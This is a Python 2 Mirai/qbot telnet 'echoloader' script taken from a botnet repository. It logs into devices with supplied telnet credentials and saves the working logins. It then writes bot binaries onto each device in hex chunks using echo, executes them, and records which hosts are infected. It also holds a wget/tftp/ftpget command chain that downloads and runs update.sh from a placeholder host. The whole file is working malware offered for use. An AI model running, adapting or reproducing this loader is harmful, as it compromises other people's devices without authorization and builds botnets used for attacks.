Path: blob/master/Botnets/Scanning/TELNET/PY LOADER/mirai_telnet_echoload.py
5038 views
#!/usr/bin/python1#Phaaaat hax telnet loader by Freak/Milenko23import sys, re, os, socket, time, select4from threading import Thread56rekdevice = "cd /tmp || cd /home/$USER || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; tftp -r update.sh -g 0.0.0.0; busybox tftp -r update.sh -g 0.0.0.0; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; chmod 777 update.sh; busybox chmod 777 update.sh; sh update.sh; rm -rf update.sh"78if len(sys.argv) < 2:9sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")1011print "\033[31m"1213print "S-S-SUUUPER fast telnet echoloader by Freak"1415print "Reads ip:port user:pass and simply checks the IP for port 23 then echoloads mirai/qbot binaries"16print "ensure the binaries are in the \"bins\" directory under the proper dlr.ARCH filenames."17print "All working telnets are saved to \"bots.txt\""1819threads = int(raw_input("Threads: "))2021lines = open(sys.argv[1],"r").readlines()22import random23random.shuffle(lines)2425global fh26fh = open("bots.txt","a+")2728def chunkify(lst,n):29return [ lst[i::n] for i in xrange(n) ]3031running = 03233global echo34global tftp35global wget36global logins37global ran38tftp = 039wget = 040echo = 041logins = 042ran = 043def printStatus():44global echo45global tftp46global wget47global logins48global ran49while 1:50time.sleep(5)51print "\033[32m[\033[31m+\033[32m] Logins: " + str(logins) + " Ran:" + str(ran) + " Echoes:" + str(echo) + " Wgets:" + str(wget) + " TFTPs:" + str(tftp) + "\033[37m"5253def readUntil(tn, advances, timeout=8):54buf = ''55start_time = time.time()56while time.time() - start_time < timeout:57buf += tn.recv(1024)58time.sleep(0.1)59for advance in advances:60if advance in buf: return buf61return ""6263def recvTimeout(sock, size, timeout=8):64sock.setblocking(0)65ready = select.select([sock], [], [], timeout)66if ready[0]:67data = sock.recv(size)68return data69return ""7071def contains(data, array):72for test in array:73if test in data:74return True75return False7677def split_bytes(s, n):78assert n >= 479start = 080lens = len(s)81while start < lens:82if lens - start <= n:83yield s[start:]84return # StopIteration85end = start + n86assert end > start87yield s[start:end]88start = end8990def infect(ip, username, password):91global echo92global tftp93global wget94global logins95global ran96infectedkey = "CAPSAICIN"97try:98tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)99tn.settimeout(0.5)100tn.connect((ip, 23))101except:102try:103tn.close()104except:105pass106return107try:108hoho = ''109hoho += readUntil(tn, ":")110if ":" in hoho:111tn.send(username + "\n")112time.sleep(0.1)113hoho = ''114hoho += readUntil(tn, ":")115if ":" in hoho:116tn.send(password + "\n")117time.sleep(0.8)118else:119pass120prompt = ''121prompt += recvTimeout(tn, 8192)122if ">" in prompt and "ONT" not in prompt:123success = True124elif "#" in prompt or "$" in prompt or "@" in prompt or ">" in prompt:125success = True126else:127tn.close()128return129except:130tn.close()131return132if success == True:133try:134tn.send("enable\r\n")135tn.send("system\r\n")136tn.send("shell\r\n")137tn.send("sh\r\n")138tn.send("echo -e '\\x41\\x4b\\x34\\x37'\r\n")139except:140tn.close()141return142time.sleep(1)143try:144buf = recvTimeout(tn, 8192)145except:146tn.close()147return148if "AK47" in buf:149print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, ip)150logins += 1151fh.write(ip + ":23 " + username + ":" + password + "\n")152fh.flush()153# tn.send(rekdevice + "\r\n")154# time.sleep(15)155buf = "" #recvTimeout(tn, 1024*1024)156loaded = False157if "bytes" in buf:158print "\033[32m[\033[31m+\033[32m] \033[33mTFTP \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, ip)159tftp += 1160loaded = True161elif "saved" in buf:162print "\033[32m[\033[31m+\033[32m] \033[33mWGET \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, ip)163wget += 1164loaded = True165if infectedkey in buf:166ran += 1167print "\033[32m[\033[31m+\033[32m] \033[35mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, ip)168f=open("infected.txt", "a")169f.write(ip +":23 " + username + ":" + password + "\r\n")170f.close()171if loaded:172tn.close()173return174tn.send("cd /tmp || cd /home/$USER || cd /var/run || cd /mnt || cd /root || cd /\r\n")175tn.send("cat /proc/mounts||busybox cat /proc/mounts\r\n")176mounts = recvTimeout(tn, 1024*1024)177for line in mounts.split("\n"):178try:179path = line.split(" ")[1]180if " rw" in line:181tn.send("echo -e '%s' > %s/.keksec||busybox echo -e '%s' > %s/.keksec; cat %s/.keksec||busybox cat %s/.keksec; rm %s/.keksec||busybox rm %s/.keksec\r\n" % ("\\x41\\x4b\\x34\\x37", path, "\\x41\\x4b\\x34\\x37", path, path, path, path, path))182if "AK47" in recvTimeout(tn, 1024*1024):183tn.send("cd %s\r\n" % path) #cd into the writeable directory184except:185continue186for binary in "dlr.arm dlr.arm7 dlr.mips dlr.ppc dlr.x86 dlr.m68k dlr.mpsl dlr.sh4 dlr.spc".split(" "):187binloaded = False188while binloaded == False:189try:190first = True191count = 0192hexdata = []193for chunk in split_bytes(open("bins/" + binary, "rb").read(), 128):194hexdata.append(''.join(map(lambda c:'\\x%02x'%c, map(ord, chunk))))195parts = len(hexdata)196for hexchunk in hexdata:197seq = ">" if first else ">>"198tn.send("echo -ne '" + hexchunk + "' " + seq + " updDl\r\n")199first = False200count += 1201time.sleep(0.01)202print "\033[32m[\033[31m+\033[32m] \033[33mECHO \033[31m---> \033[32m" + ip + " \033[31m---> \033[36m(" + str(count) + "/" + str(parts) + ") " + binary + "\033[37m"203tn.send("chmod 777 updDl||busybox chmod 777 updDl\r\n")204tn.send("./updDl\r\n")205time.sleep(3)206tn.send("rm -rf ./updDl\r\n")207time.sleep(0.1)208tn.send("./dvrHelper\r\n")209time.sleep(1)210tn.send("rm -rf ./dvrHelper\r\n")211time.sleep(0.1)212buf = recvTimeout(tn, 1024*1024)213if "FIN" in buf:214echo += 1215print "\033[32m[\033[31m+\033[32m] \033[33mECHOLOADED \033[31m---> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[31m ---> \033[35m%s\033[37m" %(username, password, ip, binary)216tn.close()217f=open("echoes.txt","a")218f.write(ip +":23 " + username + ":" + password + "\r\n")219f.close()220return221if infectedkey in buf:222ran += 1223f=open("infected.txt", "a")224f.write(ip +":23 " + username + ":" + password + "\r\n")225f.close()226print "\033[32m[\033[31m+\033[32m] \033[35mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, ip)227tn.close()228return229binloaded = True230except:231pass232else:233tn.close()234return235236def check(chunk, fh):237global running238running += 1239threadID = running240for login in chunk:241try:242if ":23 " in login:243login = login.replace(":23 ", ":")244if ":2323 " in login:245login = login.replace(":2323 ", ":")246s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)247s.settimeout(0.5)248try:249socket.inet_aton(login.split(":")[0])250ip = login.split(":")[0]251username = login.split(":")[1]252password = login.split(":")[2]253except:254try:255socket.inet_aton(login.split(":")[2])256ip = login.split(":")[2]257username = login.split(":")[0]258password = login.split(":")[1]259except:260continue261s.connect((ip, 23))262s.close()263infect(ip, username, password)264except:265pass266print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs."267running -= 1268269lines = map(lambda s: s.strip(), lines) # remove all newlines270import random271random.shuffle(lines)272chunks = chunkify(lines, threads) # make seperate chunk for each thread273274print "STARTING SCAN AND LOAD!!!"275276Thread(target = printStatus, args = ()).start()277278for thread in xrange(0,threads):279if thread >= 384:280time.sleep(0.2)281try:282Thread(target = check, args = (chunks[thread], fh,)).start()283except:284pass285print "Scanning... Press enter 3 times to stop."286287for i in range(0,3):288raw_input()289290fh.close()291292os.kill(os.getpid(), 9)293294